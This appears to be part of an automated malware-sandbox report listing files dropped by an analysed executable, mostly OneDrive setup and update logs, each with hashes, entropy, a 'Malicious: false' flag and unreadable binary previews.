Preview:	1.0./.....ulI/..8rENI_..3......O3DH..x... k<6Ywv......C..o..7Q..p....8.@..X;.WT..[..q.-.'Q.... ;.+.@]...7.L.j....D...MlB%..Q.Z..J..Zi....).............2i..Q...b^<..0....1...u....J..S>...7(.....J/...e.J..-L....^............W].....S...s.(.f.....9>.m........:\.......@E.Dlm....../..&....R...B.9.]..Bn......o.%.........'.qjanDm.P".i.J i.#..{X....CQ.n..mD^~Kl..~.s...}<..N.....G%..O.1.H.K..J8.m.3.6vI..y\|J#16.0V.W...q4.....2.....^...G.yn...R...{...2.~6.....h.......T.+.E..2O.@..........nF.aO..b.v..........H.-P.....W&.X..\.......wb',.v...G.?z..`.5...A..4.....R..W.........P.....9<~.r=a..c..^.D...}e.....%..b.W.3..!...X^5.E..;h?....'.....:mF.''5.oc.L..Y..W.Jx. ....{..m}7.^.S.I.Dcg.q.Z...6...zB..0^n...B\]...a.(&.R..p....C...D.(f.T.?..W.......<...U.]....4.....M.....N.KyQM-.vJ.h..(..2@U.......8.W.-5Wn.@.v......l~..St?w.0.....;..F...7U.r....!.....!I..P.R.....;..]...#a&N52Z....IB..f\|.2....D.......4..5j....rm....l.c..4...........t[.*W...@....<D.c6.U.(..7.`.8.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.aodl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9409784754191047
Encrypted:	false
SSDEEP:	96:i1aQN7yD13kPG0vopL1QEamC0qW0g+561+gBbY4uFIbW8z8u1aN:ETN7ZViL1Tam/5+561+gB6WTz8u
MD5:	446CC701EDC3332D3CA6D7A605E40488
SHA1:	52929A0D461CF0383ACBE669CEB72B17247C9463
SHA-256:	A4ADCC4D723ECEF39586A4EFED8FB0959BAEF5F75ADF5B74BA03ACBC00B3458F
SHA-512:	1FFA8C1624D7CA666A5D087AE83A817088259BD7531EAC0C40F0A4EF3C6085D8251D74923273BC8451D7F8CE4241EAFD7C84F9F882C17DE87F3886DE55583AE5
Malicious:	false
Preview:	EBFGO&..1...m.".B..aK.Oo......(....NU...k..`q..D.r...=..'....V`K....2bl....LNY..N....A.............r]%8q...XF..;.;wp....py\|...... Mtx0GL.%.......U..M.f^...9.+.5..w.~Ds.kFl...g...-",..S[$-{......q... .u..)39..H+9..~.........;/hn.-..\|Is...f.&.F...A.Z.9(..fF@_.T...;.y.]}.......N..$.9....P.\yi.L..:7.........(c$.!:..)K.......4.q.w!..`?;..[b.c..h.O.[w...c.F....p..W.pM:p>{9Wgn.p.D...n..{. .k.Jhs.....+@sS.k...9....v..?...`...@.9..W...l.o5._/..."....g..m./.....Q...e...@..!%..m..[.).w.V.+...v....o30...+S/+Pr@R.I.2.\|._{.\|.u..J...l.hzU....."..=......q..l.j.k. 6K.'..BfgO./..:..>.!.....?.....I.lWp...F.[W..Y..lL.RL....b.(J..%t.\|PkR.n..^(..bA....P"J.A.......09.#j_..'....-u.\1..mp1._.j.al=.kF........".......EV.G....A..4.uN@ ..O;b x...mXv...x.C/...M....... .....d#...,...0U~..5.F.U(....;...W...".>,....0.....Te7....'J!`.n...1..E_n.7.aJ?9...L;F..o.}_.._.q....\.4..!..../........4..m.5...VOX..4................_.........F[...s..I...n.u dR(..=Sinc-._.....O"

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.odl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20655307317970062
Encrypted:	false
SSDEEP:	24:4ehveG79Py84Az7Rqp2uoFI58h1hfSMyYVbz:jkwN0pdyf1yYFz
MD5:	FB0FA9798C44F628F93A56871C4D598C
SHA1:	4DA4CC96C7B4876B4DC567C9767BCEE73CCEC0EB
SHA-256:	CF013BA124BC1BCE47F25451DC3357899EAE17D64EE5A7CB4894BE3A582B0DB1
SHA-512:	80418798B5BCEFC0676B8C0274A58F33FB55BB263FBE29342855222B17A0F2D3EDEC43BAAC090A2B9A956A988CC74C5071E3DF49F640700A2E9807D1AAC7D0EF
Malicious:	false
Preview:	EBFGOm...{.....2".@...8".2r...!)Jm...9....W+....8.e'1.@.;:K.uT..G._.G.C.J..OE......]....e...!...,...s6.@.....f5..Z^!^mi.....pB.....g.r..y.@O.Z....,+....^)...&.=......9...&.4e..$.1]x.@...H.....#._..R....$...+D.!.p..N.Q].s.[r..?jM>E...$..{.G.i....n.-({.W...Q..5.q..9..%z.,d.[B.@..?S3..F. ........T..L..TP..jg....N.^..X.\|.$-.s..{..N.m.b..av......&v.'....u..gM...1h....a.%5.p.3R.X.[.....n.#6K.9.7.;..O.A...OO.B-:Gcr9..... ..5Cr....0]....d..qr.e#..1....p..3.O.!....{..s....@...J.$...4.....g.x.....x..[c......\|=.W...9&M$2G.Q%/.9Y...U..)7$....4......T&..O4;.L.....m.HH.:......XV.....6....^....yI....h....C.3.L.K.....".........O9aPj...!).W.C..~.L.l.Y,...S.?+.d...8.-..X.o.....T....F..\^.S......{\.G....4&.luc\k..`..;....a.K.7.p.d.i.X...e$$I:p.`..x&.LZ.!...j.zN4y.$...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2023-10-04_105958_19ec-19e8.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8925873647660074
Encrypted:	false
SSDEEP:	384:6XSkh0q9ll+RPRAHjFzDj7zgXHODzZUJ2tFbv/jwAoI93521uIh8J2P:6XSAL+RPehzX7zQ6Fj/IG352UIhA
MD5:	004E4410EB1DE1D44E8B3831B60B6B9E
SHA1:	7327B2545B19032C34651A6150526EE80A322D9E
SHA-256:	C3C555F276F404730B9121E00F024476FE2859EAB5547B13414D3FCD96F7BAC6
SHA-512:	0A6E56CA7629F3CA34C4FCC38D66805DD3FEF8DE18CA2FB70A111EB2A513DE6B006FEED89DD7980579BCEB7E275F3F002AD192D178E45D40AC5DC8F0F9B4DB9B
Malicious:	false
Preview:	1.0./.h....n~..r.-D(..E.../E.........<.0........F...2K....$....>..j.(.g.bIfq..L......Yx.....G?.X.....5.YdHp.......v.-.k.~.X..?2.?e.=u...H..Z.>JL..H.....0.L3~n.W;d...GZz.....!...6.P.....T.Z.Fp.....p?.`p/.c.5...Z..a....8..=.+.o....!82.$...yF.\|..e....+....!#.?CC.?..6......r..5?.-..cs.r.\.o...1oz.o..PI.I...T.B..:.7.u.0A.....0.O.fI.UU..6`.J...T..... .......j.?b.^0X.\|..\E...7.g.=wS.A.<.....YZ....+t.^I.p.uT8S..8t....%.X6......1}k$.]..p.Ge...9...M..,.F...~......_\..b.VX..z.x....V.NP.m{.4...DS0G..EM.Al.P...SE.U.`....o&....}A...J0.E=i@...A..6..$q...hG...C.......@..+....k....pl..jG.....w.A..(...M.LX...5....8....... .<..(.O.e...G..+.c..2..Q.\|....bt..Z.TCH......f&.H....s..7,..Ym.#.O7x.w.....R..&.9........p6.........=]....Q<.j.-...n......`..Y... ....A....5.#..`.../..i!....)._!.,O.M....j..w..V1..3......:.5bf...^L}.....u^.....X....[k(...&SfU..?q..y.p...U....f....&h.v2c.!..l.2i...<.e~Zj.....,...e?..}i.d../.\|c.a.[....8../....[ ..~u......._#.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2023-10-04_105950_1894-1898.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.413147380215923
Encrypted:	false
SSDEEP:	768:9aC8emR0vqKe0j36jWPf5QYQYXL5StRhaa:9azR0vFjKjw5QNntL
MD5:	945AE5E5A9C4A4C40C8008DB1F7FBE89
SHA1:	74AFAA4032A738DD7CC39D5BD3AB5C6B97FB2A84
SHA-256:	73D5771DBC295C6828EB9B23A9ADA2E2BE907F1CDC3B8D7DB3803576ADB1BCF6
SHA-512:	FADD099A12126C84E42129BA9D22C4C9213023259A65A59ADDD264945882D07F993CFF64D49854B6AFCE31ED07F952D786C1E4DBE5DFCA221C75EBCA728D49E5
Malicious:	false
Preview:	1.0./..1.Y....&..r..y.....w.h.....P....t.. ....~t4thq".j.5..A4....+.f.....6..G...9<....S..P.u....\.. .voE....Q......O..:1...._.{.V.......... ..{......d..B.+.2.N.h..ZF]X..Y...J....<..R.j..D..$..:N..U...z.......Q.....(...DY.W2...H..8.......>...pD..ga.~...X.+.....5.v..f.OUT............^t..A.%>A.!W.1..S._\.[1...U....~..S.6....%4w.{.G...y.g.H.T.[....V..[/s<..3K.(...X..>.<....z..AZS%.h.D..z...p...[.d..Z......P.....a.t..?\|..jS...T...C...T......K.....\|h.'>..VH.W.qkjDy....3..E..E..}...^.4..a`y.L..].;?.R.[.Q.HN....1..i./..."V...;`...t.@C.{......Q.....cbq.......I.....%y8.mkZ........+.8I,..t.%.24#H...q....Z..[S}.@-....-V;..O.. ..U..P..m).BNu......C..w8..E..b..z.w..n...f.l...)h6..Q.Yq....J....5..8.G..@&...M....a...H'..-E."......Te.vq%...>....Q.RH..e....3...........8_.f.(G....U.<.m.1......}.a..k:.......Q.q(.gU.S..Uvt ~.e...l..j.4C>ez].5n.p.(....iEiz.m.>..9.F7..F.O.r...mqg._....<.N...........HOw.....hib...X..IN...O..Xz.T...1..@.....7.d..\..\|

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_114942_500-1efc.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.5594452069466085
Encrypted:	false
SSDEEP:	768:Yl2noaA2GpKUm3QRKQqS4AMfXRKqeTtXEfaSF:Xnoaa3m3jmGXRWTtgPF
MD5:	FA42DEC3A4E999F093A34FF22BFF351D
SHA1:	43B5ED3677C56DC3ED7026414333491B3AD34458
SHA-256:	CBC892951278F32B7A94A78D54382FBB2959901AFDF243578FB23D2BD4209BBE
SHA-512:	7CAA84F477707039E2A1D477291B5B498B52DF9D5E61E26B16FBD5AFE50D0443099C656BE2E853F62A7E334C13135ED6EE6C7A63FAAD8CD981A72A9F5B68F343
Malicious:	false
Preview:	1.0./..@.r.>.mn..l.H..x"....LF.;..QU].JO.+..b...]X...'..4.k...DIz..."2.<_..$(>.n.(.>.-5..a....A.e.......F...Q../O.U.Kk......Y....6...iw8.......$.M..S.^.-.%......o..+.......T..=.M............b_.....)8E..@...'e(E.4..m.^q..m..0RI......C...2.E.Q/@..de....%7.H.@...G...Q0A6e.V..[5..J.Q#...B.G.S+3......9x.......)g.V.a...Z;..=.....R....LR..........Z.P.Q.$..yL.....w.C..lx....X....m......2u....N...^'..+$%....O....8...G.....F.R....D\}..;_.\|..p:32L......X.N9...\|..........7....^.{Y..$n\...[.c..'.AyA.\.U^,..G........-.Q1...?@..%...6..;Q..Z..l.=7vP`-.5r......;..-....t.W.M...gu..#..~.....Y.e.pc..?p@...r..#-C....^...-t..i.K......3.FYK.d.....Y...i3........w.%\|m...q6....[p.._.....'F\|!...f.$uO..o.8..1.Db.KaT%?3PU.0/..Zb....\|...g..@..MJ..3c+.H...W. {o...d1X..5nt....Li......:pbent....a.n.~X.3$......:.b..e...............J..lF.B.....O8".X...5.f.`{.....e..L...dqcuEmc...G. z\.....$......r...q+.....+-.eRa..q....H.f.c<.../QH....?i.$....0m?B.?....@\|...'

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115011_3184-4676.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.312479968685739
Encrypted:	false
SSDEEP:	192:RO/uJNZcSuJT2US8eLChhN28RtYRCv7MXu8xJv7Q2:RO/uNZpGRSfYjRtzvLmJc
MD5:	520C6D910823CF1576D7B0E7A9C89EA1
SHA1:	C76FC8D62AA599292DF2FEC83E2F41BE78E3B022
SHA-256:	D31A9E110327F526A829A6420EB6C861FDCFD238B782660DE9DD92FE705F0EA6
SHA-512:	848C191A5B0195A1265BD099BCBBE1FDA0297BA7BB1CB74AA4BD5C71B60121FEFE3D394EA8205A9B3223BF6E104EAD6FBE0C9C986BF3B9A59EE4DF9912F7A787
Malicious:	false
Preview:	1.0./.>...u.Z.....h.eH."...:..c.........o.h..O.r.E}k..5.vU.w..$J..4...H...T......<...mv.r:..0..O(%.-.&..,.[,~..#.8.)...F..-._e6./.!9...c'.9...+B.(!.2M.6......S.{q....m7k..#.....'.6...?..mi...-.....rKc.%..]qan._.X..d..ak.7.LxcrvWw.T..8xP.)....BF].D.,DC.[.=.........To...#.Zw..l.!#...UVG.!..S.h .p.x......-.Le,...\....N...Z.....GV..aJP..~0..?.5..~.<....a...S..a...<..)'0:&U!a6..oc.1..0^@]...X#.f.F.hH'.r...$O4.{.)NP...M. d.. ..44I.ax......]..33..[........:[..o.K......E_...v..)R....u.....r.G..w..>%.....F}G....c.X......$zO).>KV.h...}.BV0A.(.'..h.2..o?....S....Jj.w...:..E..$_G.I.F...[..@..FC.......'......f(..i%.....7Z....]...6....s...7.4..+>.\.e.e.>.5..}..j.C<.Evp.!b_.QPf..4mq.q..[ft..]._F...8....../.Ep.h...^7...q)M.S...9Xl...3.[...\|......!..R..Z.g_...B..)...Q1...r.V..X..tY.:..MV..N').2..2...0......x..g.c....;.$........\K..X6........X.;H%....G..u.........0.a..n`...)..<d..M....f1.7'..c...R..X.[#k.......9...Va...`....r.....Q......{j....R.Meze"+..>.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115204_7008-7012.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5754226304582488
Encrypted:	false
SSDEEP:	96:+ckn4l1VBcb44mdAfno8+Xl+kDhf+T9+nTeEy0u3DN:+cVlDBd4mdAfkh6+nS33
MD5:	0D7616270A91CEFAE6506E75437C3185
SHA1:	CC9709E46EB75C9D96C806B9C3773382EA82F081
SHA-256:	57860F3E56E666244948ADA5DA51C46457D32822C0534FA2D5BDFC21512C6CD6
SHA-512:	96867C2281E6CBBA92FA6CF5C7498D08DB891D77D789D190D9D38684D0F3F3D33BF24034C866AFBE5A6C06EBEB284D6AE96073B7E48588C40A13F1F9AD603E76
Malicious:	false
Preview:	1.0./y&0...h0...../..=.d..xW..hf...."0].p?..5\|.`.&.......O).Y..".YFj...c...5e.....@.}..../.z$..X..3..%0..V/.F.s.@.zy.CZ2L....G....e"t.. .....&..B....S.+.P)..~T.:q..x.u.p.5x..ES.C..jT..O..}... R.\|U.P<.M..2...~.A..\|...h'..........z{.....C.'../y...o.u.n..%W.1H..U.[............Vo..`...!...Ure"+...UZ......0.F.?.."X....R....a6..5"..Fw.Ta.vp/H...u.._..rB.<.a......z4.5..yYoa{.X.Pvg.ps..,.>&w...pQ.....n..[..2....>l...H.7./.t..\......4'....-.rU.S.......C.0[.....,....3.y..RH...y....~.T...v...O..R...>..S...(S..'..o.B.2.T{.b...".b.)z.....V...o..3......h..a..]."(...2...7h...,...T.<..Q......2...y'....`Z.\@..0{8D..%A..Ij.!.[+..#..a.n.....?#=F(.0f,.X...l..F..W...5......\|WQ...JXy...O...GM..%..)+...i..3.k...:..G...l.w.... .2..0Y.w....i.S.K.W.\.@1.....^`.Ww..1......../t....o......#h.~G...D.9.GG......X...GE^&........u..$...%..S......c.RV,...h....;.zfA.......!..SB/V.X.....?TXec..@...AU.........}...KU;[.`......\im.c...!O......bl.u.0`..r....y.y.i.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115740_6260-6264.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5752019579904133
Encrypted:	false
SSDEEP:	48:nVkP/stkti110uVIxze2A/1//J1qwARMgtLIqRPytJ7MicULKmPLHeYwiFz:VYstktC1tV0D4XLq8OVytx9hl5N
MD5:	E1BCCADECB2E484BB18005641B7872A5
SHA1:	3929B4094E6AF24BE2920D9BC3BD928EDC651B58
SHA-256:	98080EB08129C373481AA83759B7F3B9772C0864095BFE55D14A809A98D9560B
SHA-512:	8AC0C50EBC4BD19B86A84D6958780E32677919F3502D78CE989220E7F4E29268E18081AD85571B3B9EB2D5C8E47C34E72CFF0BF74685DF0B234D2F6243004C88
Malicious:	false
Preview:	1.0./L.`wy.C....>.3.y.d.k.....2.6. ..RR.d...}k..R....-..p9.RzC...QKL.....ww!J.8..>..=i....q.&...z...n.h!4..r..!d.,m;r.XN.7.D.9..y...`B...F....S&#.K7...\?'..jt.....Ti.c.&.G....Y...4x.$........=u.G.T.Y.U...2....".An..)]...{w..n# ....gZ$...>0...N...,.!A.d.`..:vG...z..J..1.o...J.D`...%.O=p..E/d&"R.R.#.:T../...S....GW..'}#...........0h_.Qh0.s.pU...l...)4....E... .eDJ.p0B.g2...[..\^m.x]....D.D.J..>....?".XK.\..l.-.t.\.......F.h.35..:.U{.yp....&.......th..{..b.B.p.0.o').... k....f."..q....#.K.7..C....8..a.?.....Y..V.'.I}.......7...k..k.e5..[PeQ0Q.:=gxy.....__.s.g-R.&..g.P....N.Vc#.k\|@.m.?.....X&u....7.B..k..E..`.-.R~l...8`-..........Y9.Y....'.....5.....?_..'.e..n...#..5<..a.)B.`...3T.~+......3y...<..]{.AX..^.g..kpb.:..x.....k...!0..~\|~;,..?.P.BG..w...1.j.Ki.##g..x........HJk....._s..q-.6%....!E..LM.bu..z...........C.D.dWKa.-...y.d..p.:.s}..........{...../..-...'.X4nt.....n.w.#y.Cs....>.Ux*T1..r. . .[..h:.G...{p....7.N.$vr.....L.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121144_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.7272940502108787
Encrypted:	false
SSDEEP:	384:gi7ZTpcLI2kcw6K4ZWvsDUOGvrY4UcAHLrvPfD8:g4pcLIh0K+DGrY2AHLbfY
MD5:	D3CA8DD861A651E6BB7C7C8172D2670E
SHA1:	D0EF444143A7338128014B03FB8A388729CA097D
SHA-256:	161A380F286A582B3B1BC1C2C758432C2C4ECC0F8020884C5DE5993C8BAD942B
SHA-512:	A01B653505F93F1B1B8D8ACE9631A9EE19DBAD7C714DDBC926680094C0F414B9373B8D9F5137BB9492570E951E62005950283279F518840065FF38CB796D5319
Malicious:	false
Preview:	1.0./..x..$...C..2.......r-+.....7..\|.?...<...B..6,.......Ae5G...k.9a.. ....'{.\.....g..<..y.".9`.q..S..H.$.,...}..t..Z.7.&.=3_.iW...-...s.i..v.....0..(..R{..~..../1..L...a..'....n..b..:...&......n.J.H.p&..^.....s.301m..(&.....8I.._../.K..2......h.u....}.e....l.~.P.0.i..B.....H.pS..U."8.I#+&..g....{...%.ND..I8+ V..]Q.z.\|.'.3...M...3l.%.I.z.@...6..z#...m+ x.........Y5.`......I..,...W..7t....#qY./...S....J.w.A0.oD;9..&`{.g..}.cX....!~.z1.].i...F.6..4?.O......o3C?..[d#u..Sv<..Y\..?...=.!.~7V"\|......V.".......\|.P..V8U...9.#..iv.~Va.~.d.,..L.....J...!...L.L.ps.C.4.._~.....h.....c&.}b.S..6.....w............^..I..U..y.e.Y.b..^..F....n.P.o.]...4..?o.;............2(mX\hu.p...EH.IP.C..0....%.f..^..#.i.].....n.".#....gp.=@.E.2..mUUY@......c[..M..u(T.>x.3.6...............kD'2X>j......E.-.#...Q.o.\c.R..v.\G!=8.A.....r..{..JOg..s....".....>....:..v.....=........d..{r..6.\|.^._nEq... "..?.j..$rRD.........8d..@..Tfa....v..y.d.i.Nh.}.n.7..,.......

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121212_7980-7984.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.601326778907482
Encrypted:	false
SSDEEP:	384:6EQ5Cv9rmZSSoYtQ/ciJAuDZVhvAfDDCs8V0:bGCskSvyEiRNA7DCs8V0
MD5:	F6CBB69690B0F72C3A3ECA8D53F04806
SHA1:	058B8CF9E730DC29745C09264ACE47AFC072574E
SHA-256:	4E7FC4443AA46E5DCEC157DAD92A1A10FE1B615D424E8F41A7AA02FB2A80DA0D
SHA-512:	E01020BA7D97F61639A107747B34984064D9F8B452A7C5B17096705A4AB6DC7A8A604085A2C892625328D3383B7BF7E6C82ECC8B8521843938E80126561077B0
Malicious:	false
Preview:	1.0./..v.+....L.....iH..d...x.....6.Q.....i..v.S"..Z.p5...X.q..R.z%=H..1.....(...s.l.5...d.=..^..r..G..p.E=p......h[.T......K.F.F.y...t.....KX..W..v.7...^.q.g}~...3Sr..R...r..c.Q$.g.vp.zG.r.N..3..L.?..<.:.....6..Y...J&.uP.bw.."[..CIp.....}.V.....u.._....R..!.L$5.}..x...0....'6e^.. v..(......:.4...$...V..e8tR........1V:..Z.3...i&...Y.4f=...Ki.l.[.3.C.-.\........?+X.....".uY[.+..........}........J...1.M\|).J..p8\|..V<..<4.V....w...!..\2.m..b.M..4...W..{..E].U...W.".P(.fAj.o.c{.H.....q1H..C".../.b/P.....%.w..n.Q..w..[.....^(.1.;...+.EH0.,..@........}..o9...g<....!..Dw.z....2...#=..Gv..E/..q9..I..<E.....L..zH..=.&D.m8........VO...[...K7.V.I..........uk...zm..T.O..7.n{.....3.....i."..jK..g..f..Wn.\.[}./~..s..H..........:..kkD.>4uT.Nk........T2opZ..Jc\z.l:u.\.<..<.....l...r..i+.x.{J}..7.nz^........Y'.lZ.B.. l.2..9M`.R8...p.?J(...::../.............,.WN.h..5Pc.....T..)....f...qEJW.p....H.y.m...v...M.Dg^..Jm..yc)IP.`.6..pk3..q...&....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_082907_5964-5996.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3789135687882443
Encrypted:	false
SSDEEP:	384:pQ3ZlePBI7E7zkDu7KumdsPvxswSUWVcqhlvAsgvEXv:pgZleP+uHmds3xsSCnlt
MD5:	4D1084335D8A62DD721B17D76B961DA6
SHA1:	5E9259C5D9E21E35432C75C8D79CAFD274AE9A68
SHA-256:	EDC1FFCE4DBC0845C1F74E297D957DFBCD1080D032B4B9FD2441D7EE7B2C101E
SHA-512:	615CC78919E196CE0FA5AB9626216007B7BA75B4F1E5FA0FA1C17C86B8411477188B54410B39BC28A4E940FD36D6344C445F5E0F9A1A81EB7F0A4A8857955DD3
Malicious:	false
Preview:	1.0./..%j..qP5.dC.fc.]..>...."...i.+.....s._D...mZ02j..\|..B.@...55/b...V.)B....v..a$u.I.S.k.eq.....d..-.Ik..f+...NS.(Y,..Lj.]3YF.#,..h.c.Y...H...F`.Gr....!..p.K5..O.:WIy.s.p.O+....PZ.k....\|....5.b......b.........%.l-........$..{..G.8._.&&..A+..8.#]...j...K...:o..t..1.1Y"...d.[.7..........W....._.s?7.Z.A.v.@.ET.._La~.K._g?..a..3.7..k...cm,.{..T.b<..k......y._..M.D/j..c\|&.l....>+.[o.).0B&...1r.Q%..}.g"....t...$.NB.?.S@.f.......K....<........a....Zg.......{..6......h\j.k..L..E._..8.P..9.~.g.....t&...T..~H.AK...Z..-q.j..q..'.!........W......{du...%tm2>g..s.,..."..J.....Uk.[..}'f9s.H...T..p.8..>.Rf.... (.O.'...c.........."R......E..n.VRM'.....P...2i...=M>..`9g..t)%.a...G.K.....g.Y...bVan..T,D..i..............3...J..).....:.m?...5.........K.m.....y....h.6.........M......O!d_l...~'n...$.T..I7a........V2......v .).^.^..)m..o....x.....6 .Z[.Wk....Z..K6.!W...Q5ik..S)....Y.\|a+zV...q}D.pZ..y+.J..\.......u.&+.42.V..Aq....^...E.....I.at..ro...#oL .

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083412_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2001701515883998
Encrypted:	false
SSDEEP:	96:AkgfgVednVXli5fi221VmpooJQAUTzN9EDM2OZsbUI7FUYFDXZnmZRpGj1SRfJzA:AMwVXyfiX0S11zN9yAs4OvJnCGKBMfe
MD5:	F016ED9CA6B42F3D68962AD82ABD5A71
SHA1:	CB8EC5DD2817464CC683D0B64F497AA7011C272E
SHA-256:	4E77250D6CE912F4AC84A1C1BD4BCAB1ADDC0BFE36E28569A002C9BE5871A25C
SHA-512:	9408FF442608BA911A33D42F7BC352005865044D64B1B47E8ACEC1F4ECDDDF90327C771DAA20BE0817D91CA29BF1F9A08DF085E42317751EE1927AAB1F74FFD6
Malicious:	false
Preview:	1.0./L....F.@..l..l...c....ZO/C...9....z\|..u.....z..!......0:...yb..&.`.R...mHW.?U..}.-_..f6.tgo...TV..v0.x....g..k....).>.....`..3..{$..4.J..Lu..;7w...y..u.-.M.Z...d.&{K...\|...K....l.;...KR.V.....?...A..r=...4....Vk..H.L...Q..0.e.j$.v..%.....},..!..R)_X...S.d....B..F\|.x.......,....Y.#aIS..,!..8..&.......6....l%../yr&I.s,F"..+..jP..O.j>...)@....B.^.$.5$.....J..._.........D"r.\7y:...~..t..E..r.)....I~.nvK.z;..@..2.+433.gh..r.S.3d9...@}...0mk.%...A.2..Y.4..N.0..4O.9q....a..7.\.Fy...C...^c...m....{UP."C....{W...u..t.?.Op..(.!...k.....;}$=....\o=.0+..sN.c..........7h....4.8E&.3..O.a.1.F.i.VZ....p..A...$..GE.v...y.v...[...a...0..Z.-oH.C.c...Ryz.1.U..YH.V.. ..o.(.W.M....GM..")"...?=7..yo'.t.\?...X..w..i....k.&pJ..p.9ERh,.'...5..N..?+.,.>;..,B.Q.u..8...tUc...... r....D..:(.5...1.g...I7....&......)....B.CIk./.l`........L<.....e.?U..Z..Ye..U...B...U.P,.......t.d%E<....7.B+=<H$R..[....j...@.).).$`.W\..EbF......<D...:.-b4.8...4jX>GV.1V.....0..n..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083652_5268-4940.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.763807946183279
Encrypted:	false
SSDEEP:	192:SWrOLZASvnM/jSq1HV5cNKaNlWDt1/GmwdCXQFo5Fse0f:oLZA8M/+I15UKaN85vsCgFQ2Ff
MD5:	3DC60DBA7EA2BF810E35E13EE4505F68
SHA1:	991B34AA26AB7A55D9375DF4F531A96D211D9294
SHA-256:	3A9DA768DF31081FA393983E0407578BDDFE56B81A26B231CE31B7BD1457D514
SHA-512:	62AE1ADA881A61B4258C2BB96489194B6F03F503793A6F1C8D9D4116DAF462E89CE921F3E8FAE5803A57743BCCD00E0A2C9F55E3B30D9FA931E24766EAEC1A1A
Malicious:	false
Preview:	1.0./.......p.g..5......<..<...W\|.^.f...C..z...i.g@0=...........Y./.?....N\|../..A..~s,........J?..."...O&l..DN..cQ.0.E..\|k..;.R.j..0........Y.e9..jW....x&3tZCG...s ..9+I.'.S}^nq....\|!K.....B6+@Qi..A....#.x..#...a..N/......#@..)6-B...{#.(....q.J.j..mSG..r.v......K..i]....I.`7&P;X.R..........t....>V.{..X.....C...R.P.B.8.T.)...`.]O......+...R............c..;...E..'...(.>..j..UDL..o../..\|._..5..`....w...vt...\|C.>.....Z.......0.Q..".S.=.....1.c.!.RO.Xe.J.x.#6.H.....m.8..w..b.t.....8.sI$5p1.p.....#(.\..u.iL.w....DL..}.V.[.J......X.._.u....3b.T.......A..o.......F..}a.!..B...Ua..b.I.Y7..s.B<>=c..G....o..._n..o!c.....&g9...].r.....>.......2...$...I...q...\.....\].oE..F.2.04..?}bO...O}..6.-Q.E.^X....c.t9M!1V....a.p.........F.4..$....YA..q.....=m=.=..3N.66..bo.....]..\..@..>..[..\|.0..2#t.^v.Q..c)...4/......eHk.\.<..K.i4Y.. ...N.E.4.I...6.V.>......./....>....W...C.3....Z.../..f$....P..L......\.R.gD5K...3z...8it.w.f.`...$#.....Y...?......[v.Am.r8

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\machineTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.428908425455142
Encrypted:	false
SSDEEP:	384:mw9Mc9bx6QIlmwR+23o0LPkasiXV5F34nPLxUCMzT:mYMCbx6QIEZZssiFr3cPLxBMz
MD5:	48DEF37B0F0FF4ADAD0927E3BE380DD7
SHA1:	04526E7B9A84FD0C73AA57D389AACF13A2C32754
SHA-256:	A4954266E5615F7BAE82D7754DE02344748DC527A6D3ED5CC5B8DC293FE5935F
SHA-512:	CB54B3B3EC46D268CDAAE2FE17040CB5BF1DE2F99634D21B0FFA33B2FEC38E45ED9ECA8E681C6283F31E8BAA033B535B5A766D26D3623F60E42B5220D41F5385
Malicious:	false
